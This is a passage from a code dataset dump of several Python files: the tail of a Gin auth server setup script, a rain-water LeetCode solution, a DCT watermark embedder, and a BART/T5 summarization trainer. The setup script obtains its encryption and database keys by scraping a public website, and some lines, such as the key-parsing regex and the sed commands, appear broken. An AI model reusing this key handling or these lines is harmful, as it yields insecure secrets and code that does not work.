f:\n for key, value in _env.items():\n f.write(f'{key}={value}\\n')\n update_env('updated', \"true\")\n\ndef write_gmod(username, repo_name):\n with open('./my_server_config/startup/_/go_mod.txt', 'w') as f:\n f.write(f'github_username={username}\\n')\n f.write(f'github_repo={repo_name}\\n')\n update_gmod(\"updated\", \"true\")\n\n\"\"\"-----------------------------------------------------------USER INPUT-----------------------------------------------------------\"\"\"\n\ndef get_input_from_user():\n display_boxed_info() \n\n _env = {}\n\n print(\"SSH Setup Script, only used to connect from your laptop etc... not really needed.\")\n i = input(\"Would you like to setup an ssh server? (y/n): \")\n if i.lower() == 'y':\n _env['SSH_USER'], _env['SSH_SERVER'] = setup_ssh()\n update_ssh_setup(\"updated\", \"true\")\n\n get_yaml()\n\n _env['SERVER_HOST'] = get_host('server', 'host')\n update_env('server host', _env['SERVER_HOST'])\n _env['SERVER_PORT'] = get_port('server', 'port')\n update_env('server port', _env['SERVER_PORT'])\n _env['WEB_PROXY_HOST'] = get_host('web/proxy', 'host')\n update_env('web/proxy host', _env['WEB_PROXY_HOST'])\n _env['WEB_PROXY_PORT'] = get_port('web/proxy', 'port')\n update_env('web/proxy port', _env['WEB_PROXY_PORT'])\n _env['AUTH_DB_USER'], _env['AUTH_DB_PASS'] = get_key(0, 0)\n if _env['AUTH_DB_USER'] == '' or _env['AUTH_DB_PASS'] == '':\n dec('ERROR: scraper is not working ...')\n exit()\n _env['AUTH_ENC_KEY'], _env['INDEX_KEY1'], _env['INDEX_KEY2'], _env['INDEX_KEY3'], _env['INDEX_KEY4'], _env['INDEX_KEY5'], _env['INDEX_KEY6'] = get_key(1, 0)\n if _env['AUTH_ENC_KEY'] == '' or _env['INDEX_KEY1'] == '' or _env['INDEX_KEY2'] == '' or _env['INDEX_KEY3'] == '' or _env['INDEX_KEY4'] == '' or _env['INDEX_KEY5'] == '' or _env['INDEX_KEY6'] == '':\n dec('ERROR: scraper is not working ...')\n exit()\n\n write_env(_env)\n\n\ndef get_yaml():\n print(\"Go mod values, do not have to be real, just valid.\")\n username = input(\"Enter your github username: \")\n update_gmod(\"github_username\", username)\n repo_name = input(\"Enter your github repo name: \")\n update_gmod(\"github_repo\", repo_name)\n _i = input(f\"Is this go mod correct -> github.com/{username}/{repo_name}? (y/n): \")\n if _i.lower() == \"y\":\n write_gmod(username, repo_name)\n elif _i.lower() == \"n\":\n print('... calling get_yaml() again ...')\n get_yaml()\n else:\n dec(\"ERROR: invalid input -> calling get_yaml() again ...\")\n get_yaml()\n\ndef get_host(x, y):\n _p = input(f\"Would you like to use localhost for your {x} {y}? (y/n): \")\n if _p.lower() == 'y':\n return 'localhost'\n elif _p.lower() == 'n':\n p = input(f'Please enter a host ip for your {x} {y}: ')\n p_ip = input(f\"Is this host ip correct -> {p}? (y/n): \")\n if p_ip.lower() == 'y':\n return p\n else:\n c_format(f'... answer invalid {_p} -> calling get_host() again ...')\n get_host(x, y)\n\ndef get_port(x, z):\n if x == 'server' or x == 'server ssh tunnel':\n _p = input(f\"Would you like to use Gin's Default port for your {x} {z}? (y/n): \")\n if _p.lower() == 'y':\n return '8080'\n if _p.lower() not in ['y', 'n']:\n print(f'... answer invalid {_p} -> calling get_port() again ...')\n get_port(x, z)\n p = input(f'Please enter a port for your {x} {z}: ')\n p_ip = input(f\"Is this port correct -> {p}? (y/n): \")\n if p_ip.lower() == 'y':\n return p\n else:\n print('... calling get_port() again ...')\n get_port(x, z)\n\ndef get_key(n, t):\n url = \"https://generate-random.org/encryption-key-generator?count=7&bytes=16&cipher=aes-256-cbc&string=&password=\" if n == 1 else \"https://generate-random.org/encryption-key-generator?count=2&bytes=32&cipher=aes-256-cbc-hmac-sha256&string=&password=\"\n\n if t == 0:\n print(\"1st Attempt: Requesting keys from -> generate-random.org\")\n elif t == 1:\n print(\"2nd Attempt: Waiting 10 seconds before requesting more key from -> generate-random.org\")\n time.sleep(10)\n elif t == 2:\n print(\"3rd Attempt: Waiting 10 seconds before requesting more key from -> generate-random.org\")\n time.sleep(10)\n else:\n print(\"\\nERROR: scraper is not working ...\\n\")\n if n == 0:\n print(\"\\t3 attempts have returned an error, in the set_env() function you can hard code the keys env['AUTH_DB_USER'], env['AUTH_DB_PASS'] ...\")\n print(\"\\t-> Please visit https://generate-random.org/encryption-key-generator?count=2&bytes=32&cipher=aes-256-cbc-hmac-sha256&string=&password= to get your keys ...\")\n print(\"\\t-> If the link is broken, they may have changed their website, please visit https://generate-random.org/ and find the key generator and use the following settings: Count=2, Bytes=32, Cipher=aes-256-cbc-hmac-sha256\")\n if n == 1:\n print(\"\\t3 attempts have returned an error, in the set_env() function you can hard code your keys env['SESSION_KEY'], env['KEY1'], env['KEY2'], env['KEY3'], env['KEY4'], env['KEY5'], env['KEY6'] ...\")\n print(\"\\t-> Please visit https://generate-random.org/encryption-key-generator?count=7&bytes=16&cipher=aes-256-cbc&string=&password= to get your keys ...\")\n print(\"\\t-> If the link is broken, they may have changed their website, please visit https://generate-random.org/ and find the key generator and use the following settings: Count=7, Bytes=16, Cipher=aes-256-cbc\")\n exit()\n \n response = urllib.request.urlopen(url)\n if response.getcode() != 200:\n print(f\"Error: {response.getcode()}\")\n get_key(n, t + 1)\n\n html = response.read().decode('utf-8')\n\n ret = [k[1] for k in re.findall(r'(.*?)', html)]\n print(f\"\\tKeys generated: {ret.__len__()}\")\n\n if ret.__len__() == 7:\n return ret[0], ret[1], ret[2], ret[3], ret[4], ret[5], ret[6]\n if ret.__len__() == 2:\n return ret[0], ret[1]\n else:\n dec(\"ERROR: scraper is not returning correct amount of keys\")\n\ndef setup_ssh():\n current_user = os.getlogin()\n server_address = get_server_address()\n \n if server_address:\n prompt_username = input(f\"Enter your username (default: {current_user}): \")\n username = prompt_username or current_user\n promp_choice = input(f\"Would you like to use (0)-{server_address} or (1)-localhost as the server address? (default: 0): \")\n if promp_choice == \"1\":\n server_address = 'localhost'\n print(f\"\\n{username}@{server_address}\")\n correct = input(\"Is the above information correct? (y/n): \")\n \n if correct.lower() != 'y':\n dec(\"ERROR: invalid or 'n' input calling -> setup_ssh() again ...\")\n setup_ssh()\n \n update_ssh_setup(\"server host\", server_address)\n choice = input(\"Do you want to install the SSH server? (y/n): \")\n if choice.lower() == 'y':\n install_ssh_server()\n \n choice = input(\"Do you want to generate SSH keys for the current user? (y/n): \")\n if choice.lower() == 'y':\n print(\"\\nSSH will now ask you what file you want to save the key pair in.\\nPress enter to accept the default value.\\nIt will then ask for a passphrase.\\nYou can leave this blank if you want, though not recommended.\")\n generate_ssh_keys()\n print(f\"\\nYour key pair is located at: ~/.ssh/id_rsa (private key) and ~/.ssh/id_rsa.pub (public key)\")\n \n print(\"\\nSetup complete!\")\n\n return username, server_address\n\n\"\"\"-----------------------------------------------------------INSTALLERS-----------------------------------------------------------\"\"\"\n\ndef install_ssh_server():\n \"\"\"Install the SSH server on Ubuntu/Debian systems.\"\"\"\n try:\n subprocess.run([\"sudo\", \"apt-get\", \"update\"], check=True)\n subprocess.run([\"sudo\", \"apt-get\", \"install\", \"-y\", \"openssh-server\"], check=True)\n print(\"SSH server installed successfully.\")\n except subprocess.CalledProcessError:\n print(\"There was an error installing the SSH server. Are you running this on Ubuntu or another Debian-based system?\")\n\ndef generate_ssh_keys():\n \"\"\"Generate SSH keys for the current user.\"\"\"\n if not os.path.exists(os.path.expanduser(\"~/.ssh/id_rsa\")):\n try:\n subprocess.run([\"ssh-keygen\"], check=True)\n print(\"SSH keys generated successfully.\")\n except subprocess.CalledProcessError:\n print(\"There was an error generating SSH keys.\")\n else:\n print(\"SSH keys already exist for this user.\")\n \n update_ssh_setup(\"public_key\", os.path.expanduser(\"~/.ssh/id_rsa.pub\"))\n update_ssh_setup(\"private_key\", os.path.expanduser(\"~/.ssh/id_rsa\"))\n\ndef get_server_address():\n \"\"\"Retrieve the local IP address of the server.\"\"\"\n try:\n ip_address = subprocess.getoutput(\"hostname -I\").split()[0]\n return ip_address\n except:\n print(\"There was an error retrieving the server's IP address.\")\n return None\n\n\nif __name__ == '__main__':\n get_input_from_user()\n\n\n\"\"\"\nfind . -type f -exec sed -i \"s||$github_username|g\" {} +\nfind . -type f -exec sed -i \"s||$github_repo|g\" {} +\n\"\"\"","repo_name":"carter4299/gin_auth","sub_path":"my_server_config/startup/_/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":11289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8498540397","text":"class Solution:\n def trap(self, height: list[int]) -> int:\n if len(height) == 0:\n return 0\n\n l, r = 0, len(height) - 1 # Two pointer approach\n maxLeft, maxRight = height[l], height[r]\n\n res = 0\n while l < r:\n if maxLeft <= maxRight:\n l += 1\n maxLeft = max(height[l], maxLeft)\n res += maxLeft - height[l]\n else:\n r -= 1\n maxRight = max(height[r], maxRight)\n res += maxRight - height[r]\n\n return res","repo_name":"JustinBui/Leet-Code","sub_path":"NEETCODE/Arrays and Hashing/trappingRainWater.py","file_name":"trappingRainWater.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17611934910","text":"#!/bin/python\n# -*- coding=utf-8 - *-\nimport cv2\nimport numpy as np\nimport math\n\ndef DCT(im):\n h, w = im.shape[:2]\n new_arry = np.zeros((h,w), np.float32)\n new_arry[:h, :w] = im\n im_dct=cv2.cv2.dct(new_arry)\n return im_dct\n\ndef bin_value(value, bitsize):\n binval = bin(value)[2:]\n if len(binval) > bitsize:\n print(\"Larger than the expected size\")\n while len(binval) < bitsize:\n binval = \"0\" + binval\n return binval\n\ndef embed(image_path,watermark,intensity):\n im_array = cv2.cv2.imread(image_path)\n imyuv=cv2.cv2.cvtColor(im_array,cv2.cv2.COLOR_BGR2YCR_CB)\n #im=imyuv.astype('float32')#转成float32是dct必要条件\n im_Y=imyuv[:,:,0]\n im_temp=DCT(im_Y)\n im_dct=im_temp.flatten()\n im_X=im_dct[1:]\n index=np.argsort(-(im_X))#注意需要取绝对值后再降序排列,其中(-x)与(x,-1)最终效果不同?\n '''\n for i in range(0,20):\n print(im_dct[index[i]+1])\n print('***************************')\n '''\n i=0\n for char in watermark:\n binval=bin_value(ord(char), 8)\n for c in binval:\n #print(im_X[index[i]])\n c=int(c)\n im_X[index[i]]=im_X[index[i]]+intensity*c\n #print(im_X[index[i]])\n i += 1\n im_dct[1:]=im_X\n '''\n for i in range(0,20):\n print(im_dct[index[i]+1])\n '''\n im_reshape=np.reshape(im_dct,im_Y.shape)\n \n im_Y_idct=cv2.cv2.idct(im_reshape)\n i=0\n imyuv[:,:,0]=im_Y_idct\n im_array=cv2.cv2.cvtColor(imyuv,cv2.cv2.COLOR_YCR_CB2BGR) \n cv2.cv2.imwrite(\"2.png\",im_array)\n\nif __name__ == '__main__':\n embed('1.png','Weasley',20)\n\n\n '''\n rownum=int(im_Y.shape[0]/8)#8*8分块的行数\n\tcolnum=int(im_Y.shape[1]/8)#8*8分块的列数\n\n j=0\n for i in range(0,64):\n w=int(watermark[i])\n '''","repo_name":"Calistamu/watermark","sub_path":"water-cox/cox_embed.py","file_name":"cox_embed.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"33255161847","text":"from datasets import load_dataset\nimport time\nimport tensorflow as tf\nimport os\n#tf.debugging.set_log_device_placement(True)\n#tf.config.set_visible_devices([], 'GPU') # CPU로 학습하기.\n\ndef createFolder(directory):\n try:\n if not os.path.exists(directory):\n os.makedirs(directory)\n except OSError:\n print('Error Creating directory. ' + directory)\n\n\ndataset = load_dataset(\"cnn_dailymail\", '3.0.0') # cnn dailymail로 했지만 다른 데이터도 같은 데이터 형식(dictionary, \"long\" : ~, \"short\" : ~)\n# print(dataset[\"train\"][100]['highlights'])\n# print(dataset[\"train\"][100]['article'])\n\n\n\nfrom transformers import BartTokenizer,T5Tokenizer\ntokenizer = T5Tokenizer.from_pretrained(\"t5-small\",model_max_length=1024)\n\nMAX_VOCAB = len(tokenizer.get_vocab())\nprint('VOCAB_SIZE :', MAX_VOCAB)\nBATCH_SIZE=3\nLONG_MAX=850\nSHORT_MAX=100\n\ndef tokenize_function(examples):\n return {'input_ids' : tokenizer(examples[\"article\"],max_length=LONG_MAX, padding='max_length', truncation=True)['input_ids'],'decoder_input_ids' : tokenizer(examples[\"highlights\"], max_length=SHORT_MAX, padding='max_length', truncation=True)['input_ids']}\n\ntokenized_datasets = dataset.map(tokenize_function, batched=True)\n\nsmall_train_dataset = tokenized_datasets[\"train\"].shuffle(seed=42)\nsmall_eval_dataset = tokenized_datasets[\"test\"].shuffle(seed=42).select(range(1000))\n\n#print(small_train_dataset)\n\nfrom transformers import DefaultDataCollator\n\ndata_collator = DefaultDataCollator(return_tensors=\"tf\")\n\ntf_train_dataset = small_train_dataset.to_tf_dataset(\n columns=['input_ids', 'decoder_input_ids'],\n label_cols=['decoder_input_ids'],\n shuffle=True,\n collate_fn=data_collator,\n drop_remainder=True, # 무조건 batch size로 고정(마지막에 남는 애들은 버림)\n batch_size=BATCH_SIZE,\n) # train dataset을 batch 사이즈별로 제공해줌.\n\n#print(tf_train_dataset)\n\ntf_validation_dataset = small_eval_dataset.to_tf_dataset(\n columns=['input_ids', 'decoder_input_ids'],\n label_cols=['decoder_input_ids'],\n shuffle=False,\n collate_fn=data_collator,\n drop_remainder=True,\n batch_size=BATCH_SIZE,\n)\n\n\n# print(tf_train_dataset)\n\nfrom transformers import TFAutoModel,TFBartModel,TFBartForConditionalGeneration\nfrom transformers import TFT5ForConditionalGeneration\nbart_model = TFBartModel.from_pretrained(\"facebook/bart-base\")\ninputs=tokenizer(dataset[\"train\"][100]['article'], truncation=True,return_tensors=\"tf\")\noutputs=tokenizer(dataset[\"train\"][100]['highlights'], truncation=True,return_tensors=\"tf\")\n# print(inputs)\n# print(\"article :\"+ str(dataset[\"train\"][100]['article']))\n# print(\"length : \"+ str(len(dataset[\"train\"][100]['article'])))\n# print(\"summary :\"+ str(dataset[\"train\"][100]['highlights']))\n# print(\"length :\"+ str(len(dataset[\"train\"][100]['highlights'])))\n# made=tokenizer.decode(tf.squeeze(tf.argmax(bart_model({'input_ids' : inputs[\"input_ids\"], 'decoder_input_ids' : outputs[\"input_ids\"]}).logits,axis=2)))\n# print(\"made summary : \"+ made)\n# print(\"length : \"+str(len(made)))\ndecoder_bart_model = TFT5ForConditionalGeneration.from_pretrained(\"t5-small\")\n# made_2=tokenizer.decode(tf.squeeze(tf.argmax(decoder_bart_model({'input_ids' : outputs[\"input_ids\"], 'decoder_input_ids' : inputs[\"input_ids\"]}).logits,axis=2)))\n# print(\"decoded artice : \" + made_2)\n# print(\"length :\"+str(len(made_2)))\n\n\n\nloss_object = tf.keras.losses.SparseCategoricalCrossentropy(\n from_logits=True, reduction='none')\n\ndef summary_loss(logits, pred): # CUSTOM LOSS.\n mask = tf.math.logical_not(tf.math.equal(logits, 0))\n loss_ = loss_object(logits, pred)\n\n mask = tf.cast(mask, dtype=loss_.dtype) #mask가 되어있던 자리는 학습을 하지 않는다\n loss_ *= mask\n return tf.reduce_sum(loss_)/tf.reduce_sum(mask)\n\ndef reconstruction_loss(real,pred): #fake input과 실제input의 reconstruction loss\n mask = tf.math.logical_not(tf.math.equal(real, 0))\n loss_ = loss_object(real, pred)\n\n mask = tf.cast(mask, dtype=loss_.dtype) #mask가 되어있던 자리는 학습을 하지 않는다\n loss_ *= mask\n\n return tf.reduce_sum(loss_)/tf.reduce_sum(mask)\n\ndef summary_accuracy_function(summary,pred):\n accuracies = tf.equal(summary, tf.argmax(pred, axis=2,output_type=tf.int64))\n\n mask = tf.math.logical_not(tf.math.equal(summary, 0))\n accuracies = tf.math.logical_and(mask, accuracies)\n\n accuracies = tf.cast(accuracies, dtype=tf.float32)\n mask = tf.cast(mask, dtype=tf.float32)\n return tf.reduce_sum(accuracies)/tf.reduce_sum(mask)\n\n\ndef reconstruction_accuracy_function(real, pred):\n accuracies = tf.equal(real, tf.argmax(pred, axis=2,output_type=tf.int64))# int32가 아니면 type이 다르다고 오류남\n\n mask = tf.math.logical_not(tf.math.equal(real, 0))\n accuracies = tf.math.logical_and(mask, accuracies)\n\n accuracies = tf.cast(accuracies, dtype=tf.float32)\n mask = tf.cast(mask, dtype=tf.float32)\n return tf.reduce_sum(accuracies)/tf.reduce_sum(mask)\n\nclass My_Decoder_BART(tf.keras.Model):\n def __init__(self, model,dim,vocab_size,rate=0.1):\n super().__init__()\n self.bart_model = model\n self.input_layer = tf.keras.layers.Dense(dim)\n # self.output_layer=tf.keras.layers.Dense(1)\n #self.final_layer = tf.keras.layers.Dense(vocab_size)\n #self.dropout = tf.keras.layers.Dropout(rate)\n\n def call(self, inputs, training):\n # Keras models prefer if you pass all your inputs in the first argument\n encoder_output,inp=inputs\n \n #bart_output=self.bart_model({'inputs_embeds' : embedding, 'decoder_input_ids' : input}).last_hidden_state #ㅑ last hidden state를 하지 않으면 모든 hidden state가 전부 반환됨.\n if(training):\n embedding=self.input_layer(encoder_output)\n #print(input)\n #bart_output=self.bart_model(decoder_input_ids=inp,inputs_embeds=embedding)\n bart_output=self.bart_model({'inputs_embeds' : embedding, 'decoder_input_ids' : inp,'training':True}).logits # conditional generation은 logits이 last hidden state를 대체함.\n # input을 id가 아니라 임베딩 차원으로 넣어줄 수 있는 기능이 있다. 그런데 이렇게 하면 decoder를 id로 넣어줘도 되는건지 확실치않음.\n else:\n #bart_output=self.bart_model({'input_ids' : encoder_output, 'decoder_input_ids' : inp}).logits #decoder input id가 없으면 무조건 ids로만 가능하댄다.\n bart_output=self.bart_model.generate(encoder_output)#이는 teacher forcing이 적용되지 않은, real output이다(loss 계산 불가)\n \n #dropout=self.dropout(bart_output)\n #final_output = self.final_layer(dropout) # (batch_size, tar_seq_len, target_vocab_size)\n return bart_output\n #return final_output\n\nclass My_Encoder_BART(tf.keras.Model):\n def __init__(self, model,vocab_size,art_length,sum_length,rate=0.1):\n super().__init__()\n self.vocab_size=vocab_size\n self.art_length=art_length\n self.sum_length=sum_length\n self.bart_model = model\n #self.art_layer = tf.keras.layers.Dense(vocab_size)\n self.down_layer=tf.keras.layers.Dense(self.sum_length)\n self.sum_layer = tf.keras.layers.Dense(self.vocab_size)\n self.dropout = tf.keras.layers.Dropout(rate)\n \n\n def call(self, inputs, teacher=False):\n # Keras models prefer if you pass all your inputs in the first argument\n #bart_output=self.bart_model(inputs).last_hidden_state\n if teacher is True:\n #print(inputs)\n bart_output=self.bart_model({'input_ids':inputs['input_ids'],'decoder_input_ids':inputs['decoder_input_ids']}).last_hidden_state # 왜인지 모르겠지만 얘는 되는데 decoder는 같은 코드가 실행이 안됨\n #print(\"call shape \" + str(bart_output.shape))\n else:\n #bart_output=self.bart_model.generate(inputs['input_ids'])\n bart_output=self.bart_model({'input_ids':inputs['input_ids']}).last_hidden_state\n\n \n dropout=self.dropout(bart_output)\n #print(dropout.shape)\n \n #final_output = self.art_layer(dropout) # (batch_size, art_seq_len, dim)\n final_output = tf.reshape(dropout,[-1,dropout.shape[2],dropout.shape[1]]) #(batch_size,dim,art_len)\n final_output = self.down_layer(final_output) #(batch_size,dim,sum_len) # 이 down layer 과정을 거치지 않고 한번에 만드려고 하면\n # 너무 커다란 weight이 필요하다.(800*764 by 100*32100)\n # 이렇게 두번에 걸치면 (800 by 100), (764 by 32100) (후자는 예전에도 원래 하던 거임) 으로 바뀐다.\n final_output = tf.reshape(final_output,[-1,final_output.shape[2],final_output.shape[1]]) #(bach_size, sum_len, dim)\n final_output = self.sum_layer(final_output) #(batch_size,sum_len,vocab_size)\n # 어차피 summary length와 article length는 각각 고정되어 있다(물론 패딩되어 있다.) 따라서 이렇게 하면 강제로 차원을 맞춰\n # teacher forcing이든 아니든 summary error를 구할 수 있게 된다.\n # 또한 차원 축소로서의 역할을 제대로 할 수 있게 된다.\n #return bart_output\n return final_output\n\n\nmirrored_strategy = tf.distribute.MirroredStrategy()\ngpus = tf.config.experimental.list_logical_devices('GPU')\n\nprint(gpus[0].name)\nprint(gpus[1].name)\n#with tf.device(gpus[0].name):\nmy_bart_encoder = My_Encoder_BART(\n model=bart_model,\n vocab_size=MAX_VOCAB,\n art_length=LONG_MAX,\n sum_length=SHORT_MAX,\n rate=0.1)\n\nBART_BASE_DIM=768\nBART_LARGE_DIM=1024\nT5_SMALL_DIM=512\n#with tf.device(gpus[1].name):\nmy_bart_decoder = My_Decoder_BART(\n model=decoder_bart_model,\n vocab_size=MAX_VOCAB,\n dim=T5_SMALL_DIM,\n #tokenizers.pt.get_vocab_size().numpy(),\n rate=0.1)\n#print(inputs[\"input_ids\"])\n#print(my_bart_encoder({'input_ids' : inputs[\"input_ids\"], 'decoder_input_ids' : outputs[\"input_ids\"]}).shape)\n#print(\"test\")\n#print(my_bart_decoder([tf.random.uniform((5, 57), dtype=tf.int32, minval=0, maxval=200),tf.random.uniform((5, 768), dtype=tf.int32, minval=0, maxval=200)],training=False).shape)\n\nLEARNING_RATE=0.0001 # 0.0001 보다 크면, 학습이 제대로 되지 않는다!!\n\nsummary_optimizer = tf.keras.optimizers.Adam(LEARNING_RATE, beta_1=0.9, beta_2=0.98,\n epsilon=1e-9)\nreconstruction_optimizer = tf.keras.optimizers.Adam(LEARNING_RATE, beta_1=0.9, beta_2=0.98,\n epsilon=1e-9)\n\nSTART_ALPHA=0.85\nNORMAL='_normal_'\nCASCADE='_0.3cascade_noTeacherAfter2Epoch'\nstrategy=CASCADE\n\ncheckpoint_path = \"./MY_checkpoints/train_\"+str(START_ALPHA)+str(strategy)\n\nckpt = tf.train.Checkpoint(my_bart_decoder=my_bart_decoder,my_bart_encoder=my_bart_encoder,\n summary_optimizer=summary_optimizer, reconstruction_optimizer=reconstruction_optimizer)\n\nckpt_manager = tf.train.CheckpointManager(ckpt, checkpoint_path, max_to_keep=None)\n\n# if a checkpoint exists, restore the latest checkpoint.\nif ckpt_manager.latest_checkpoint:\n ckpt.restore(ckpt_manager.latest_checkpoint)\n print('Latest checkpoint restored!!')\nelse :\n print('This is New train!!(no checkpoint)')\n\n#ckpt_save_path = ckpt_manager.save()\n#print(f'Saving checkpoint for epoch at {ckpt_save_path}')\n\nEPOCHS=20\n\ntrain_summary_loss = tf.keras.metrics.Mean(name='train_summary_loss')\ntrain_reconstruction_loss=tf.keras.metrics.Mean(name='train_reconstruction_loss')\ntrain_summary_accuracy = tf.keras.metrics.Mean(name='train_summary_accuracy')\ntrain_reconstruction_accuracy=tf.keras.metrics.Mean(name='train_reconstruction_accuracy')\n\n\n# 학습에 필요한 특수 토큰(summarize: 이거랑 를 앞에 붙여줘야 함)\nsummarize_token=tokenizer('summarize: ')['input_ids'][:-1]\nsummarize_tokens=[]\nfor i in range(BATCH_SIZE):\n summarize_tokens.append(summarize_token)\n\nsummarize_tokens=tf.convert_to_tensor(summarize_tokens,dtype=tf.int64)\n#print(summarize_tokens.shape)\n\n\npad_token=tokenizer('')['input_ids'][:-1]\npad_tokens=[]\nfor i in range(BATCH_SIZE):\n pad_tokens.append(pad_token)\n\npad_tokens=tf.convert_to_tensor(pad_tokens,dtype=tf.int64) \n#print(pad_tokens.shape)\n\n@tf.function\ndef train_step(inp, summary,alpha,teacher):\n decoder_input_inp=inp[:,:-1]\n decoder_input_summary=summary[:,:-1] # huggingface 예시를 보면 이렇게 할 필요가 없는것 같아 보였지만 낚시였다.\n # teacher는 로 시작하고 전까지 생성하도록 했다\n # 그러면 loss를 구할 때는 없이, 까지 생성해내도록 한다.\n # 이 방식으로 하지 않으면 generate의 결과가 완전 엉뚱해진다!!!\n TEACHER=teacher\n alpha=alpha\n \n with tf.GradientTape(persistent=True) as tape:\n #print( tf.concat([summarize_tokens,inp],axis=-1))\n #print(summary)\n #output= my_bart_encoder({'input_ids' : tf.concat([summarize_tokens,inp],axis=-1), 'decoder_input_ids' : tf.concat([pad_tokens,decoder_input_summary],axis=-1),'training':True},teacher=False) # 아무리 생각해도 얘는 무조건 false인 상태로 학습을 시켜야 한다!! 즉 teacher forcing은 없고\n\n # 대신 summary 데이터가 존재해서 그 loss가 사용되냐 안되냐의 차이인 것일 뿐이다.\n output=my_bart_encoder({'input_ids' : inp, 'training':True}, teacher=False)\n\n if TEACHER:\n loss = summary_loss(summary, output)\n \n fake_input_predictions = my_bart_decoder([output,tf.concat([pad_tokens,decoder_input_inp],axis=-1)],training=True)\n recon_loss = reconstruction_loss(inp,fake_input_predictions)\n \n if TEACHER :\n total_loss=alpha*loss+(1-alpha)*recon_loss #total loss를 tape scope안에서 구해야 함.\n else :\n total_loss=recon_loss\n \n summary_gradients = tape.gradient(total_loss, my_bart_encoder.trainable_variables)\n reconstruction_gradients=tape.gradient(recon_loss,my_bart_decoder.trainable_variables)\n \n summary_optimizer.apply_gradients(zip(summary_gradients, my_bart_encoder.trainable_variables))\n reconstruction_optimizer.apply_gradients(zip(reconstruction_gradients,my_bart_decoder.trainable_variables))\n \n if TEACHER:\n train_summary_loss(loss)\n train_summary_accuracy(summary_accuracy_function(summary, output))\n else :\n train_summary_loss(0)\n train_summary_accuracy(0)\n \n train_reconstruction_loss(recon_loss)\n train_reconstruction_accuracy(reconstruction_accuracy_function(inp, fake_input_predictions))\n\n#train_step(inputs, outputs) #예시\n\n\n#for (batch, set) in enumerate(tf_train_dataset):\n# print(batch)\n# train_step(set[0]['input_ids'], set[0]['decoder_input_ids'])\n# print(train_summary_loss.result())\n# print(train_reconstruction_loss.result())\n# if(batch==100):\n# break #예시. \n\n\n\nfrom tqdm import tqdm,trange\nimport csv\nfrom rouge import Rouge\nrouge=Rouge()\nfrom nltk.translate.bleu_score import sentence_bleu\n\n\n\ncreateFolder(strategy+str(START_ALPHA))\n\nf= open(strategy+str(START_ALPHA)+'/training_results_with_scores.csv', 'w', newline='')\nwr=csv.writer(f)\nwr.writerow(['orig_article','orig_summary','gen_article','gen_summary','art_rouge','art_bleu','sum_rouge','sum_bleu'])\nf2= open(strategy+str(START_ALPHA)+'/training_loss_acc.csv', 'w', newline='')\nwr2=csv.writer(f2)\nwr2.writerow(['sum_loss','sum_acc','art_loss','art_acc'])\n#EPOCHS=0\nfor epoch in trange(EPOCHS):\n start = time.time()\n train_summary_loss.reset_states()\n train_summary_accuracy.reset_states()\n train_reconstruction_loss.reset_states()\n train_reconstruction_accuracy.reset_states()\n print(\"\")\n alpha=START_ALPHA\n\n teacher=True\n \n whole_length=tf_train_dataset.__len__()\n cascade=int(float(whole_length)/3)\n cascade_count=1\n \n print(\"whole batch length : \"+str(whole_length))\n print(\"cascade :\" + str(cascade))\n\n if epoch>=2: # 0,1 두 epoch만 teacher forcing으로 summary의 형태를 잡아준다.(이때도 recon loss의 비율이 점점 커진다.)\n # 그 이후로는 recon loss만을 사용한다.\n teacher=False\n print(\"this epoch teacher forcing is not used\")\n\n# # # inp -> long sentences, tar -> summary\n for (batch, set) in enumerate(tqdm(tf_train_dataset)):\n #print(\"batch : \"+str(batch))\n if batch > cascade * cascade_count:\n alpha=alpha-0.2\n cascade_count=cascade_count+1\n print(\"now on, alpha is \"+str(alpha))\n \n train_step(set[0]['input_ids'], set[0]['decoder_input_ids'],alpha=alpha,teacher=teacher)\n if batch % 1000 ==0:\n generate_art=my_bart_decoder([set[0]['decoder_input_ids'],[]],training=False)\n generate_sum=my_bart_encoder({'input_ids':set[0]['input_ids']},teacher=False)\n #teacher=my_bart_encoder({'input_ids': tf.concat([summarize_tokens,set[0]['input_ids']],axis=-1),'decoder_input_ids' : set[0]['decoder_input_ids']},training=True)\n #print(logits)\n #print(\"generate : \" + tokenizer.batch_decode(generate)[0])\n #print(\"\")\n art_rouge = rouge.get_scores([tokenizer.decode(set[0]['input_ids'][0])],[tokenizer.decode(generate_art[0])])\n art_bleu = sentence_bleu([tokenizer.decode(set[0]['input_ids'][0])], tokenizer.decode(generate_art[0]))\n sum_rouge = rouge.get_scores([tokenizer.decode(set[0]['decoder_input_ids'][0])],[tokenizer.decode(tf.argmax(generate_sum[0],axis=-1))])\n sum_bleu = sentence_bleu([tokenizer.decode(set[0]['decoder_input_ids'][0])],tokenizer.decode(tf.argmax(generate_sum[0],axis=-1)))\n wr.writerow([tokenizer.decode(set[0]['input_ids'][0]), tokenizer.decode(set[0]['decoder_input_ids'][0]),tokenizer.decode(generate_art[0]),tokenizer.decode(tf.argmax(generate_sum[0],axis=-1)),art_rouge,art_bleu,sum_rouge,sum_bleu])\n\n\n if batch % 100 ==0 :\n wr2.writerow([float(train_summary_loss.result()),float(train_summary_accuracy.result()),float(train_reconstruction_loss.result()),float(train_reconstruction_accuracy.result())])\n print(f'Epoch {epoch + 1} Batch {batch} Summary Loss {train_summary_loss.result():.4f} Accuracy {train_summary_accuracy.result():.4f} Reconstruct Loss {train_reconstruction_loss.result():.4f} Accuracy {train_reconstruction_accuracy.result():.4f}')\n \n ckpt_save_path = ckpt_manager.save()\n print(f'Saving checkpoint for epoch {epoch+1} at {ckpt_save_path}')\n\n print(f'Epoch {epoch + 1} Summary Loss {train_summary_loss.result():.4f} Accuracy {train_summary_accuracy.result():.4f}')\n print(f'Epoch {epoch + 1} Reconstruct Loss {train_reconstruction_loss.result():.4f} Accuracy {train_reconstruction_accuracy.result():.4f}')\n print(f'Time taken for 1 epoch: {time.time() - start:.2f} secs\\n')\n\ndef plot_Expansion(decoder_model, plot,origin_plot):\n #logits = []\n empty=[] # forward 단계에선 쓰지 않는다.\n logits=decoder_model([plot,empty],training=False)\n #for p in plot:\n # logits.append(decoder_model([p,empty],training=False))\n \n plots=[]\n #print(logits)\n #tokenize_plots=tf.argmax(logits,axis=2,output_type=tf.int64)\n 